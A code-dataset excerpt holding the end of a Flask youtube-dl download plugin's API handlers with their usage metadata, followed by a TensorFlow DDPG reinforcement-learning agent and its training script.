request.values.get('playlist', None)\n archive = request.values.get('archive', None)\n start = request.values.get('start', False)\n cookiefile = request.values.get('cookiefile', None)\n ret = {\n 'errorCode': 0,\n 'index': None\n }\n if None in (key, url):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n if not url.startswith('http'):\n return LogicNormal.abort(ret, 2) # 잘못된 동영상 주소\n if preferredcodec not in (None, 'best', 'mp3', 'aac', 'flac', 'm4a', 'opus', 'vorbis', 'wav'):\n return LogicNormal.abort(ret, 5) # 허용되지 않은 값이 있음\n if not filename:\n filename = LogicNormal.get_default_filename()\n youtube_dl = LogicNormal.download(plugin=plugin,\n url=url,\n filename=filename,\n temp_path=ModelSetting.get('temp_path'),\n save_path=save_path,\n format=format_code,\n preferedformat=preferedformat,\n preferredcodec=preferredcodec,\n preferredquality=preferredquality,\n dateafter=dateafter,\n playlist=playlist,\n archive=archive,\n proxy=ModelSetting.get('proxy'),\n ffmpeg_path=ModelSetting.get('ffmpeg_path'),\n key=key,\n cookiefile=cookiefile)\n if youtube_dl is None:\n return LogicNormal.abort(ret, 10) # 실패\n ret['index'] = youtube_dl.index\n if start:\n youtube_dl.start()\n socketio_emit('add', youtube_dl)\n return jsonify(ret)\n\n # 썸네일 다운로드 준비를 요청하는 API\n elif sub == 'thumbnail':\n key = request.values.get('key')\n url = request.values.get('url')\n filename = request.values.get('filename', ModelSetting.get('default_filename'))\n save_path = request.values.get('save_path', ModelSetting.get('save_path'))\n all_thumbnails = request.values.get('all_thumbnails', False)\n dateafter = request.values.get('dateafter', None)\n playlist = request.values.get('playlist', None)\n archive = request.values.get('archive', None)\n start = request.values.get('start', False)\n cookiefile = request.values.get('cookiefile', None)\n ret = {\n 'errorCode': 0,\n 'index': None\n }\n if None in (key, url):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n if not url.startswith('http'):\n return LogicNormal.abort(ret, 2) # 잘못된 동영상 주소\n if not filename:\n filename = LogicNormal.get_default_filename()\n youtube_dl = LogicNormal.thumbnail(plugin=plugin,\n url=url,\n filename=filename,\n temp_path=ModelSetting.get('temp_path'),\n save_path=save_path,\n all_thumbnails=all_thumbnails,\n dateafter=dateafter,\n playlist=playlist,\n archive=archive,\n proxy=ModelSetting.get('proxy'),\n ffmpeg_path=ModelSetting.get('ffmpeg_path'),\n key=key,\n cookiefile=cookiefile)\n if youtube_dl is None:\n return LogicNormal.abort(ret, 10) # 실패\n ret['index'] = youtube_dl.index\n if start:\n youtube_dl.start()\n socketio_emit('add', youtube_dl)\n return jsonify(ret)\n\n # 자막 다운로드 준비를 요청하는 API\n elif sub == 'sub':\n key = request.values.get('key')\n url = request.values.get('url')\n filename = request.values.get('filename', ModelSetting.get('default_filename'))\n save_path = request.values.get('save_path', ModelSetting.get('save_path'))\n all_subs = request.values.get('all_subs', False)\n sub_lang = request.values.get('sub_lang', 'ko')\n auto_sub = request.values.get('all_subs', False)\n dateafter = request.values.get('dateafter', None)\n playlist = request.values.get('playlist', None)\n archive = request.values.get('archive', None)\n start = request.values.get('start', False)\n cookiefile = request.values.get('cookiefile', None)\n ret = {\n 'errorCode': 0,\n 'index': None\n }\n if None in (key, url):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n if not url.startswith('http'):\n return LogicNormal.abort(ret, 2) # 잘못된 동영상 주소\n if not filename:\n filename = LogicNormal.get_default_filename()\n youtube_dl = LogicNormal.sub(plugin=plugin,\n url=url,\n filename=filename,\n temp_path=ModelSetting.get('temp_path'),\n save_path=save_path,\n all_subs=all_subs,\n sub_lang=sub_lang,\n auto_sub=auto_sub,\n dateafter=dateafter,\n playlist=playlist,\n archive=archive,\n proxy=ModelSetting.get('proxy'),\n ffmpeg_path=ModelSetting.get('ffmpeg_path'),\n key=key,\n cookiefile=cookiefile)\n if youtube_dl is None:\n return LogicNormal.abort(ret, 10) # 실패\n ret['index'] = youtube_dl.index\n if start:\n youtube_dl.start()\n socketio_emit('add', youtube_dl)\n return jsonify(ret)\n\n # 다운로드 시작을 요청하는 API\n elif sub == 'start':\n index = request.values.get('index')\n key = request.values.get('key')\n ret = {\n 'errorCode': 0,\n 'status': None\n }\n if None in (index, key):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n index = int(index)\n if not (0 <= index < len(LogicNormal.youtube_dl_list)):\n return LogicNormal.abort(ret, 3) # 인덱스 범위를 벗어남\n youtube_dl = LogicNormal.youtube_dl_list[index]\n if youtube_dl.key != key:\n return LogicNormal.abort(ret, 4) # 키가 일치하지 않음\n ret['status'] = youtube_dl.status.name\n if not youtube_dl.start():\n return LogicNormal.abort(ret, 10) # 실패\n return jsonify(ret)\n\n # 다운로드 중지를 요청하는 API\n elif sub == 'stop':\n index = request.values.get('index')\n key = request.values.get('key')\n ret = {\n 'errorCode': 0,\n 'status': None\n }\n if None in (index, key):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n index = int(index)\n if not (0 <= index < len(LogicNormal.youtube_dl_list)):\n return LogicNormal.abort(ret, 3) # 인덱스 범위를 벗어남\n youtube_dl = LogicNormal.youtube_dl_list[index]\n if youtube_dl.key != key:\n return LogicNormal.abort(ret, 4) # 키가 일치하지 않음\n ret['status'] = youtube_dl.status.name\n if not youtube_dl.stop():\n return LogicNormal.abort(ret, 10) # 실패\n return jsonify(ret)\n\n # 현재 상태를 반환하는 API\n elif sub == 'status':\n index = request.values.get('index')\n key = request.values.get('key')\n ret = {\n 'errorCode': 0,\n 'status': None,\n 'type': None,\n 'start_time': None,\n 'end_time': None,\n 'temp_path': None,\n 'save_path': None\n }\n if None in (index, key):\n return LogicNormal.abort(ret, 1) # 필수 요청 변수가 없음\n index = int(index)\n if not (0 <= index < len(LogicNormal.youtube_dl_list)):\n return LogicNormal.abort(ret, 3) # 인덱스 범위를 벗어남\n youtube_dl = LogicNormal.youtube_dl_list[index]\n if youtube_dl.key != key:\n return LogicNormal.abort(ret, 4) # 키가 일치하지 않음\n ret['status'] = youtube_dl.status.name\n ret['type'] = youtube_dl.type\n ret['start_time'] = youtube_dl.start_time.strftime('%Y-%m-%dT%H:%M:%S') if \\\n youtube_dl.start_time is not None else None\n ret['end_time'] = youtube_dl.end_time.strftime('%Y-%m-%dT%H:%M:%S') if \\\n youtube_dl.end_time is not None else None\n ret['temp_path'] = youtube_dl.temp_path\n ret['save_path'] = youtube_dl.save_path\n return jsonify(ret)\n except Exception as e:\n logger.error('Exception:%s', e)\n logger.error(traceback.format_exc())\n abort(500) # 500 에러(서버 오류)\n abort(404) # 404 에러(페이지 없음)\n\n\n#########################################################\n# socketio\n#########################################################\ndef socketio_emit(cmd, data):\n socketio.emit(cmd, LogicNormal.get_data(data), namespace='/%s' % package_name, broadcast=True)\n", "sub_path": "plugin.py", "file_name": "plugin.py", "file_ext": "py", "file_size_in_byte": 21279, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "framework.logger.get_logger", "line_number": 17, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal.get_youtube_dl_package", "line_number": 18, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 18, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 19, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 19, "usage_type": "name"}, {"api_name": "logic.Logic.db_default", "line_number": 19, "usage_type": "attribute"}, {"api_name": "logic.Logic", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.Blueprint", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 27, "usage_type": "call"}, {"api_name": "logic.Logic.plugin_load", "line_number": 50, "usage_type": "call"}, {"api_name": "logic.Logic", "line_number": 50, "usage_type": "name"}, {"api_name": "logic.Logic.plugin_unload", "line_number": 54, "usage_type": "call"}, {"api_name": "logic.Logic", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 62, "usage_type": "call"}, {"api_name": "model.ModelSetting.to_dict", "line_number": 75, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 75, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_youtube_dl_package", "line_number": 76, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 76, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_youtube_dl_version", "line_number": 77, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 77, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_default_filename", "line_number": 78, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 79, "usage_type": "call"}, {"api_name": "model.ModelSetting.get", "line_number": 82, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 82, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_default_filename", "line_number": 83, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 83, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_preset_list", "line_number": 84, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 84, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_postprocessor_list", "line_number": 85, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 86, "usage_type": "call"}, {"api_name": "model.ModelSetting.get", "line_number": 89, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 89, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_default_filename", "line_number": 90, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 90, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 91, "usage_type": "call"}, {"api_name": "model.ModelSetting.get", "line_number": 94, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 94, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_default_filename", "line_number": 95, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 95, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 96, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 99, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 102, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 106, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 66, "usage_type": "name"}, {"api_name": "model.ModelSetting.setting_save", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 119, "usage_type": "argument"}, {"api_name": "model.ModelSetting", "line_number": 119, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 120, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 120, "usage_type": "name"}, {"api_name": "model.ModelSetting.set", "line_number": 121, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 121, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 122, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 126, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 126, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 127, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 129, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 132, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_postprocessor", "line_number": 133, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 133, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.download", "line_number": 142, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 142, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 143, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 143, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 144, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 144, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 145, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 145, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 146, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 146, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 147, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 147, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 151, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 151, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 152, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 152, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 155, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal.thumbnail", "line_number": 158, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 158, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 159, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 159, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 160, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 160, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 161, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 161, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 162, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 162, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 163, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 163, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 164, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 164, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 165, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 165, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 168, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal.sub", "line_number": 171, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 171, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 172, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 172, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 173, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 173, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 174, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 174, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 175, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 175, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 176, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 176, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 177, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 177, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 178, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 178, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 179, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 179, "usage_type": "name"}, {"api_name": "model.ModelSetting.get", "line_number": 180, "usage_type": "call"}, {"api_name": "model.ModelSetting", "line_number": 180, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 183, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal.youtube_dl_list", "line_number": 187, "usage_type": "attribute"}, {"api_name": "logic_normal.LogicNormal", "line_number": 187, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_data", "line_number": 188, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 188, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 191, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal.youtube_dl_list", "line_number": 194, "usage_type": "attribute"}, {"api_name": "logic_normal.LogicNormal", "line_number": 194, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 196, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 199, "usage_type": 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"usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 414, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.abort", "line_number": 417, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 417, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 418, "usage_type": "call"}, {"api_name": "flask.request.values.get", "line_number": 422, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 422, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 422, "usage_type": "name"}, {"api_name": "flask.request.values.get", "line_number": 423, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 423, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 423, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.abort", "line_number": 434, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 434, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.youtube_dl_list", "line_number": 436, "usage_type": "attribute"}, {"api_name": "logic_normal.LogicNormal", "line_number": 436, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.abort", "line_number": 437, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 437, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.youtube_dl_list", "line_number": 438, "usage_type": "attribute"}, {"api_name": "logic_normal.LogicNormal", "line_number": 438, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.abort", "line_number": 440, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 440, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 449, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 452, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 453, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 454, "usage_type": "call"}, {"api_name": "flask_cors.cross_origin", "line_number": 212, "usage_type": "call"}, {"api_name": "framework.check_api", "line_number": 213, "usage_type": "name"}, {"api_name": "framework.socketio.emit", "line_number": 461, "usage_type": "call"}, {"api_name": "framework.socketio", "line_number": 461, "usage_type": "name"}, {"api_name": "logic_normal.LogicNormal.get_data", "line_number": 461, "usage_type": "call"}, {"api_name": "logic_normal.LogicNormal", "line_number": 461, "usage_type": "name"}]} +{"seq_id": "219639859", "text": "import numpy as np\nimport tensorflow as tf\nimport gym\nimport time\nimport sys\nsys.path.append(\"../\")\ntry:\n from rl_algorithms.ddpg_sp import core\n from rl_algorithms.ddpg_sp.core import get_vars\nexcept Exception as e:\n print(\"ddpg_error:\", e)\n from ddpg_sp import core\n from ddpg_sp.core import get_vars\n\n\nclass ReplayBuffer:\n \"\"\"\n A simple FIFO experience replay buffer for TD3 agents.\n \"\"\"\n\n def __init__(self, obs_dim, act_dim, size):\n self.obs1_buf = np.zeros([size, obs_dim], dtype=np.float32)\n self.obs2_buf = np.zeros([size, obs_dim], dtype=np.float32)\n self.acts_buf = np.zeros([size, act_dim], dtype=np.float32)\n self.rews_buf = np.zeros(size, dtype=np.float32)\n self.done_buf = np.zeros(size, dtype=np.float32)\n self.ptr, self.size, self.max_size = 0, 0, size\n\n def store(self, obs, act, rew, next_obs, done):\n self.obs1_buf[self.ptr] = obs\n self.obs2_buf[self.ptr] = next_obs\n self.acts_buf[self.ptr] = act\n self.rews_buf[self.ptr] = rew\n self.done_buf[self.ptr] = done\n self.ptr = (self.ptr + 1) % self.max_size\n self.size = min(self.size + 1, self.max_size)\n\n def sample_batch(self, batch_size=32):\n idxs = np.random.randint(0, self.size, size=batch_size)\n return dict(obs1=self.obs1_buf[idxs],\n obs2=self.obs2_buf[idxs],\n acts=self.acts_buf[idxs],\n rews=self.rews_buf[idxs],\n done=self.done_buf[idxs])\n\n\nclass DDPG:\n def __init__(self,\n a_dim, obs_dim, a_bound,\n mlp_actor_critic=core.mlp_actor_critic,\n ac_kwargs=dict(), seed=0,\n\n replay_size=int(1e6), gamma=0.99,\n polyak=0.995, pi_lr=1e-3, q_lr=1e-3,\n batch_size=100, \n act_noise=0.1, target_noise=0.2,\n noise_clip=0.5, policy_delay=2, \n sess_opt=None,\n per_flag=True,\n ):\n self.per_flag = per_flag\n self.learn_step = 0\n\n self.obs_dim = obs_dim\n self.act_dim = a_dim\n self.act_limit = a_bound\n self.policy_delay = policy_delay\n self.action_noise = act_noise\n\n # Share information about action space with policy architecture\n ac_kwargs['action_space'] = a_bound\n\n # Inputs to computation graph\n self.ISWeights = tf.placeholder(tf.float32, [None, 1], name='IS_weights')\n self.actor_lr = tf.placeholder(tf.float32, shape=[], name='actor_lr')\n self.critic_lr = tf.placeholder(tf.float32, shape=[], name='critic_lr')\n self.x_ph, self.a_ph, self.x2_ph, self.r_ph, self.d_ph = core.placeholders(obs_dim, a_dim, obs_dim, None, None)\n\n # Main outputs from computation graph\n with tf.variable_scope('main'):\n self.pi, self.q, q_pi = mlp_actor_critic(self.x_ph, self.a_ph, **ac_kwargs)\n\n # Target networks\n with tf.variable_scope('target'):\n # Note that the action placeholder going to actor_critic here is\n # irrelevant, because we only need q_targ(s, pi_targ(s)).\n pi_targ, _, q_pi_targ = mlp_actor_critic(self.x2_ph, self.a_ph, **ac_kwargs)\n\n # Experience buffer\n if self.per_flag:\n try:\n from rl_algorithms.memory.sp_per_memory import ReplayBuffer\n except:\n from memory.sp_per_memory import ReplayBuffer\n else:\n try:\n from rl_algorithms.memory.sp_memory import ReplayBuffer\n except:\n from memory.sp_memory import ReplayBuffer\n self.replay_buffer = ReplayBuffer(obs_dim=obs_dim,\n act_dim=self.act_dim,\n size=replay_size)\n\n # Count variables\n var_counts = tuple(core.count_vars(scope) for scope in ['main/pi', 'main/q', 'main'])\n print('\\nNumber of parameters: \\t pi: %d, \\t q: %d, \\t total: %d\\n' % var_counts)\n\n # Bellman backup for Q function\n backup = tf.stop_gradient(self.r_ph + gamma * (1 - self.d_ph) * q_pi_targ)\n\n # DDPG losses\n self.pi_loss = -tf.reduce_mean(q_pi)\n\n if self.per_flag:\n # q_target - q\n self.abs_errors = tf.abs(backup - self.q)\n self.q_loss = self.ISWeights * tf.reduce_mean((self.q - backup) ** 2)\n else:\n # 正常的！\n self.q_loss = tf.reduce_mean((self.q - backup) ** 2)\n\n # Separate train ops for pi, q\n pi_optimizer = tf.train.AdamOptimizer(learning_rate=self.actor_lr)\n q_optimizer = tf.train.AdamOptimizer(learning_rate=self.critic_lr)\n self.train_pi_op = pi_optimizer.minimize(self.pi_loss, var_list=get_vars('main/pi'))\n self.train_q_op = q_optimizer.minimize(self.q_loss, var_list=get_vars('main/q'))\n\n # Polyak averaging for target variables\n self.target_update = tf.group([tf.assign(v_targ, polyak * v_targ + (1 - polyak) * v_main)\n for v_main, v_targ in zip(get_vars('main'), get_vars('target'))])\n\n # Initializing targets to match main variables\n target_init = tf.group([tf.assign(v_targ, v_main)\n for v_main, v_targ in zip(get_vars('main'), get_vars('target'))])\n\n if sess_opt:\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=sess_opt)\n self.sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n else:\n self.sess = tf.Session()\n self.sess.run(tf.global_variables_initializer())\n self.sess.run(target_init)\n\n def get_action(self, s, noise_scale=0):\n if not noise_scale:\n noise_scale = self.action_noise\n a = self.sess.run(self.pi, feed_dict={self.x_ph: s.reshape(1, -1)})[0]\n a += noise_scale * np.random.randn(self.act_dim)\n return np.clip(a, -self.act_limit, self.act_limit)\n\n def store_transition(self, transition):\n if self.per_flag:\n self.replay_buffer.store(transition)\n else:\n (s, a, r, s_, done) = transition\n self.replay_buffer.store(s, a, r, s_, done) \n\n def test_agent(self, env, max_ep_len=1000, n=5):\n ep_reward_list = []\n for j in range(n):\n s = env.reset()\n ep_reward = 0\n for i in range(max_ep_len):\n # Take deterministic actions at test time (noise_scale=0)\n s, r, d, _ = env.step(self.get_action(s))\n ep_reward += r\n ep_reward_list.append(ep_reward)\n mean_ep_reward = np.mean(np.array(ep_reward_list))\n return mean_ep_reward\n\n def learn(self, batch_size=100, actor_lr_input=0.001,\n critic_lr_input=0.001,):\n if self.per_flag:\n tree_idx, batch_memory, ISWeights = self.replay_buffer.sample(batch_size=batch_size)\n batch_states, batch_actions, batch_rewards, batch_states_, batch_dones = [], [], [], [], []\n for i in range(batch_size):\n batch_states.append(batch_memory[i][0])\n batch_actions.append(batch_memory[i][1])\n batch_rewards.append(batch_memory[i][2])\n batch_states_.append(batch_memory[i][3])\n batch_dones.append(batch_memory[i][4])\n\n feed_dict = {self.x_ph: np.array(batch_states),\n self.x2_ph: np.array(batch_states_),\n self.a_ph: np.array(batch_actions),\n self.r_ph: np.array(batch_rewards),\n self.d_ph: np.array(batch_dones),\n self.actor_lr: actor_lr_input,\n self.critic_lr: critic_lr_input,\n self.ISWeights: ISWeights\n }\n q_step_ops = [self.q_loss, self.q,\n self.train_q_op,\n self.abs_errors,\n ]\n outs = self.sess.run(q_step_ops, feed_dict)\n q_loss, q, train_q_op, abs_errors = outs\n if self.learn_step % self.policy_delay == 0:\n # Delayed policy update\n outs = self.sess.run([self.pi_loss,\n self.train_pi_op,\n self.target_update],\n feed_dict)\n\n self.replay_buffer.batch_update(tree_idx,\n abs_errors) # update priority\n self.learn_step += 1\n return outs\n else:\n batch = self.replay_buffer.sample_batch(batch_size)\n feed_dict = {self.x_ph: batch['obs1'],\n self.x2_ph: batch['obs2'],\n self.a_ph: batch['acts'],\n self.r_ph: batch['rews'],\n self.d_ph: batch['done'],\n self.actor_lr: actor_lr_input,\n self.critic_lr: critic_lr_input,\n }\n q_step_ops = [self.train_q_op]\n\n # Q-learning update\n outs = self.sess.run([self.q_loss, self.q, self.train_q_op], feed_dict)\n # Policy update\n outs = self.sess.run([self.pi_loss, self.train_pi_op, self.target_update],\n feed_dict)\n\n self.learn_step += 1\n\n def load_step_network(self, saver, load_path):\n checkpoint = tf.train.get_checkpoint_state(load_path)\n if checkpoint and checkpoint.model_checkpoint_path:\n saver.restore(self.sess, tf.train.latest_checkpoint(load_path))\n print(\"Successfully loaded:\", checkpoint.model_checkpoint_path)\n self.learn_step = int(checkpoint.model_checkpoint_path.split('-')[-1])\n else:\n print(\"Could not find old network weights\")\n\n def save_step_network(self, time_step, saver, save_path):\n saver.save(self.sess, save_path + 'network', global_step=time_step,\n write_meta_graph=False)\n\n def load_simple_network(self, path):\n saver = tf.train.Saver()\n saver.restore(self.sess, tf.train.latest_checkpoint(path))\n print(\"restore model successful\")\n\n def save_simple_network(self, save_path):\n saver = tf.train.Saver()\n saver.save(self.sess, save_path=save_path + \"/params\", write_meta_graph=False)\n\n\nif __name__ == '__main__':\n import argparse\n\n random_seed = int(time.time() * 1000 % 1000)\n random_seed = 184\n parser = argparse.ArgumentParser()\n parser.add_argument('--env', type=str, default='HalfCheetah-v2')\n parser.add_argument('--hid', type=int, default=300)\n parser.add_argument('--l', type=int, default=1)\n parser.add_argument('--gamma', type=float, default=0.99)\n parser.add_argument('--seed', '-s', type=int, default=random_seed)\n parser.add_argument('--epochs', type=int, default=3000)\n parser.add_argument('--max_steps', type=int, default=1000)\n parser.add_argument('--exp_name', type=str, default='ddpg_per_class')\n args = parser.parse_args()\n\n env = gym.make(args.env)\n env = env.unwrapped\n env.seed(args.seed)\n\n s_dim = env.observation_space.shape[0]\n a_dim = env.action_space.shape[0]\n a_bound = env.action_space.high[0]\n\n net = DDPG(a_dim, s_dim, a_bound,\n batch_size=100,\n sess_opt=0.1\n )\n ep_reward_list = []\n test_ep_reward_list = []\n\n for i in range(args.epochs):\n s = env.reset()\n ep_reward = 0\n st = time.time()\n for j in range(args.max_steps):\n\n # Add exploration noise\n if i < 10:\n a = np.random.rand(a_dim) * a_bound\n else:\n # a = net.choose_action(s)\n a = net.get_action(s, 0.1)\n # a = noise.add_noise(a)\n\n a = np.clip(a, -a_bound, a_bound)\n\n s_, r, done, info = env.step(a)\n done = False if j == args.max_steps - 1 else done\n\n net.store_transition((s, a, r, s_, done))\n\n s = s_\n ep_reward += r\n if j == args.max_steps - 1:\n ep_update_time = time.time()\n for _ in range(args.max_steps):\n net.learn()\n ep_update_time = time.time() - ep_update_time\n ep_reward_list.append(ep_reward)\n print('Episode:', i, ' Reward: %i' % int(ep_reward),\n # 'Explore: %.2f' % var,\n \"learn step:\", net.learn_step,\n \"ep_time:\", np.round(time.time()-st, 3),\n \"up_time:\", np.round(ep_update_time, 3),\n )\n # if ep_reward > -300:RENDER = True\n\n # 增加测试部分!\n if i % 20 == 0:\n test_ep_reward = net.test_agent(env=env, n=5)\n test_ep_reward_list.append(test_ep_reward)\n print(\"-\" * 20)\n print('Episode:', i, ' Reward: %i' % int(ep_reward),\n 'Test Reward: %i' % int(test_ep_reward),\n )\n print(\"-\" * 20)\n\n break\n\n import matplotlib.pyplot as plt\n\n plt.plot(ep_reward_list)\n img_name = str(args.exp_name + \"_\" + args.env + \"_epochs\" +\n str(args.epochs) +\n \"_seed\" + str(args.seed))\n plt.title(img_name + \"_train\")\n plt.savefig(img_name + \".png\")\n plt.show()\n plt.close()\n\n plt.plot(test_ep_reward_list)\n plt.title(img_name + \"_test\")\n plt.savefig(img_name + \".png\")\n plt.show()", "sub_path": 